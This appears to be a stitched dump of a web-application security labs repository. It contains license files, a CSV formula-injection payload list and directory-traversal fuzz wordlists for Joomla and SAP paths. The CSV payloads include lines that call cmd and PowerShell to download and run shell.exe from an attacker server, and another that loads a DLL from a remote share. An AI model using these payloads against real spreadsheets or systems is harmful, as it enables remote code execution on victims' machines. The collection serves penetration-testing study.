--------------------------------------------------------------------------------
/sql-injection/sql-injection-payload-list/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2019 Payload Box
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/xml-external-entity-xxe-injection/xxe-injection-payload-list/Image/xxe-injection.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paulveillard/cybersecurity-web-application-labs/9b6b4484b7ff743b0d54fb296ce0fb3a454ddd27/xml-external-entity-xxe-injection/xxe-injection-payload-list/Image/xxe-injection.jpg
--------------------------------------------------------------------------------
/xml-external-entity-xxe-injection/xxe-injection-payload-list/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2019 Payload Box
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
4 |
5 | CSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files.
6 |
7 | #### Payloads :
8 |
9 | ```
10 | DDE ("cmd";"/C calc";"!A0")A0
11 | @SUM(1+9)*cmd|' /C calc'!A0
12 | =10+20+cmd|' /C calc'!A0
13 | =cmd|' /C notepad'!'A1'
14 | =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
15 | =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
16 | ```
17 |
18 | #### References :
19 |
20 | ###### CSV Injection :
21 |
22 | * 👉 https://owasp.org/www-community/attacks/CSV_Injection
23 |
24 | ##### Cloning an Existing Repository ( Clone with HTTPS )
25 | ```
26 | root@ismailtasdelen:~# git clone https://github.com/payloadbox/csv-injection-payloads.git
27 | ```
28 |
29 | ##### Cloning an Existing Repository ( Clone with SSH )
30 | ```
31 | root@ismailtasdelen:~# git clone git@github.com:payloadbox/csv-injection-payloads.git
32 | ```
33 |
34 | #### Donate!
35 |
36 | Support the authors:
37 |
38 | #### LiberaPay:
39 |
40 |
41 |
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/Intruder/default/big-1.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paulveillard/cybersecurity-web-application-labs/9b6b4484b7ff743b0d54fb296ce0fb3a454ddd27/directory-traversal/directory-payload-list/Intruder/default/big-1.txt
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/Intruder/default/big.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paulveillard/cybersecurity-web-application-labs/9b6b4484b7ff743b0d54fb296ce0fb3a454ddd27/directory-traversal/directory-payload-list/Intruder/default/big.txt
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/Intruder/joomla/joomla_themes.fuzz.txt:
--------------------------------------------------------------------------------
1 | templates/abc/
2 | templates/atomic/
3 | templates/b59-tpl8/
4 | templates/beez/
5 | templates/carbon_07/
6 | templates/crub/
7 | templates/dm_arrow_red/
8 | templates/gk_eshoptrix_2/
9 | templates/gk_gomuproject/
10 | templates/gk_icki_sports/
11 | templates/gk_musictop/
12 | templates/ja_purity/
13 | templates/ja_rochea/
14 | templates/ja_teline_ii/
15 | templates/joomlaport_metro/
16 | templates/js_relevant/
17 | templates/mynxx_j15/
18 | templates/planets/
19 | templates/planetsv2/
20 | templates/rhuk_milkyway/
21 | templates/rt_hivemind_j15/
22 | templates/rt_mediamogul_essentials_j15/
23 | templates/rt_nexus_j15/
24 | templates/siteground99/
25 | templates/siteground-j15-14/
26 | templates/siteground-j15-68/
27 | templates/siteground-j15-86/
28 | templates/system/
29 | templates/yoo_phoenix/
30 | templates/yoo_waybeyond/
31 |
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/Intruder/sap/sap.fuzz.txt:
--------------------------------------------------------------------------------
1 | /sap/bc/gui/sap/its/webgui
2 | /sap/public/icman/ping
3 | /sap/admin
4 | /sap/public/info
5 | /sap/wdisp/admin
6 | /scripts/wgate
7 |
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/Intruder/sap/sap_common.txt:
--------------------------------------------------------------------------------
1 | sapservice
{' '}
72 | Authorizing...
73 |